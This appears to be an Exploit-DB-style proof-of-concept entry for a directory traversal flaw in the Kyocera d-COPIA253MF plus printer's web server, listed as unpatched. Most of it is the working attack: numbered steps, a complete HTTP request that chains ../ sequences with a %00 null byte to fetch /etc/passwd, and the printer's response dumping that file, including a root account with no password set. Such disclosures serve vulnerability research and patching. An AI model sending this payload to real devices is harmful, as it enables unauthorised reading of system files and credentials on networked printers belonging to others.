Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)

vendor:

d-COPIA253MF plus

by:

Hakan Eren ŞAN

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: d-COPIA253MF plus

Affected Version From: d-COPIA253MF plus

Affected Version To: d-COPIA253MF plus

Patch Exists: NO

Related CWE: N/A

CPE: h:kyocera:d-copia253mf_plus

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2020

Kyocera Printer d-COPIA253MF – Directory Traversal (PoC)

An attacker can exploit a directory traversal vulnerability in Kyocera Printer d-COPIA253MF by sending a specially crafted HTTP request containing a directory traversal payload followed by a null byte (%00). This allows the attacker to access files outside of the web root directory.

Mitigation:

Ensure that user input is validated and sanitized to prevent directory traversal attacks.

Source

Exploit-DB raw data:

# Exploit Title : Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)
# Exploit Author: Hakan Eren ŞAN
# Date: 2020-06-06
# Vendor Homepage: https://www.kyoceradocumentsolutions.com.tr/tr.html
# Version: d-COPIA253MF plus
# Tested on : Linux
# Credit: Berat Isler


# First step , you can capture the main page
# Then create a directory traveral payload like ../../../ this
# Then you add nullbyte to the end of the payload(%00)
# Last step sent your request

This is the code :

Request:


GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rtl=0
Upgrade-Insecure-Requests: 1
If-None-Match: "/wlmeng/index.htm, Thu, 04 Jun 2020 13:41:16 GMT"
Cache-Control: max-age=0


Response:

HTTP/1.1 200 OK
Content-Length: 843
Date: Thu, 04 Jun 2020 16:09:54 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 04 Jun 2020 13:41:16 GMT
ETag: "/wlmeng/../../../../../../../../../../../etc/passwd, Thu, 04 Jun
2020 13:41:16 GMT"
Content-Type: text/html

root::0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/bin/sh
daemon:*:2:2:daemon:/usr/sbin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
adm:*:4:4:adm:/var/adm:/bin/sh
lp:*:5:7:lp:/var/spool/lpd:/bin/sh
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/mail:/bin/sh
news:*:10:12:news:/var/spool/news:/bin/sh
uucp:*:11:13:uucp:/var/spool/uucp:/bin/sh
operator:*:12:0:operator:/root:/bin/sh
games:*:13:60:games:/usr/games:/bin/sh
ftp:*:15:14:ftp:/var/ftp:/bin/sh
man:*:16:20:man:/var/cache/man:/bin/sh
www:*:17:18:www-data:/var/www:/bin/sh
sshd:*:18:19:sshd:/var/run/sshd:/bin/sh
proxy:*:19:21:proxy:/bin:/bin/sh
telnetd:*:20:22:proxy:/bin:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
ais:*:101:101:ais:/var/run/ais:/bin/sh
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh